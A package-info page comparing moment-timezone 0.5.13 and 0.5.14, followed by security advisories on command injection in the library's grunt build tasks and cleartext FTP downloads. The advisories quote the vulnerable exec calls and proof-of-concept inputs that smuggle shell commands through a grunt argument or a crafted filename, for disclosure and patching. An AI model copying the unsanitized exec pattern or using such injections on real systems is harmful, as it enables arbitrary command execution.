Moment-timezone, a library designed to enhance JavaScript's moment.js with robust timezone handling, saw a notable update between versions 0.5.13 and 0.5.14. Both versions maintain the core functionality of parsing and displaying moments in any timezone, a crucial feature for applications dealing with users across different geographical locations. They depend on moment.js version 2.9.0 or higher.
The key distinctions lie in the development dependencies, highlighting improvements and upgrades in the build and testing process. Version 0.5.14 features modernized grunt tooling, upgrading grunt to version ^1.0.1 and utilizing newer versions of its plugins such as grunt-contrib-clean (^1.1.0), grunt-contrib-jshint (^1.1.0), grunt-contrib-uglify (^3.1.0), and grunt-contrib-nodeunit (^1.0.0). The previous version, 0.5.13, relied on older versions of these tools, indicating an effort to leverage the latest features and performance enhancements available in the build ecosystem.
For developers, this means version 0.5.14 benefits from potentially more efficient and reliable build processes. While the core API and functionality remain consistent, the updated development dependencies suggest a commitment to maintaining code quality and future compatibility. Upgrading to version 0.5.14 is recommended for developers seeking the benefits of a modern build environment and ongoing maintenance of the library, especially if they contribute to the codebase or utilize the build tools directly. The later release date of version 0.5.14, October 2017, compared to April 2017 for version 0.5.13, also indicates a more recent snapshot of the library with potential bug fixes and optimizations.
All the vulnerabilities related to the version 0.5.14 of the package
Command Injection in moment-timezone
All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.
grunt data:2014d
, where 2014d
stands for the version of the tzdata to be used from IANA's website),2014d
in our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt taskIf no, you're not affected.
If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.
The tasks/data-download.js
script takes in a parameter from grunt and uses it to form a command line which is then executed:
6 module.exports = function (grunt) {
7 grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8 version = version || 'latest';
10 var done = this.async(),
11 src = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12 curl = path.resolve('temp/curl', version, 'data.tar.gz'),
13 dest = path.resolve('temp/download', version);
...
24 exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {
Ordinarily, one one run this script using something like grunt data-download:2014d
, in which case version would have the value 2014d
. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag
The tasks/data-zdump.js
script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.
15 files = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27 function next () {
...
33 var file = files.pop(),
34 src = path.join(zicBase, file),
35 dest = path.join(zdumpBase, file);
36 exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {
In this case, an attacker able to add a file to temp/zic/2014d
(for example) with a filename like Z; curl www.example.com
would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.
Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.
10 var done = this.async(),
11 dest = path.resolve('temp/zic', version),
...
22 var file = files.shift(),
23 src = path.resolve('temp/download', version, file);
24
25 exec('zic -d ' + dest + ' ' + src, function (err) {
As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi
The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec
to execFile
so arbitrary bash fragments won't be executed any more.
Cleartext Transmission of Sensitive Information in moment-timezone
grunt data
(or grunt release
) to prepare a custom-build, moment-timezone with the latest tzdata from IANA's websiteProblem has been patched in version 0.5.35, patch should be applicable with minor modifications to all affected versions. The patch includes changing the FTP endpoint with an HTTPS endpoint.
Specify the exact version of tzdata (like 2014d
, full command being grunt data:2014d
, then run the rest of the release tasks by hand), or just apply the patch before issuing the grunt command.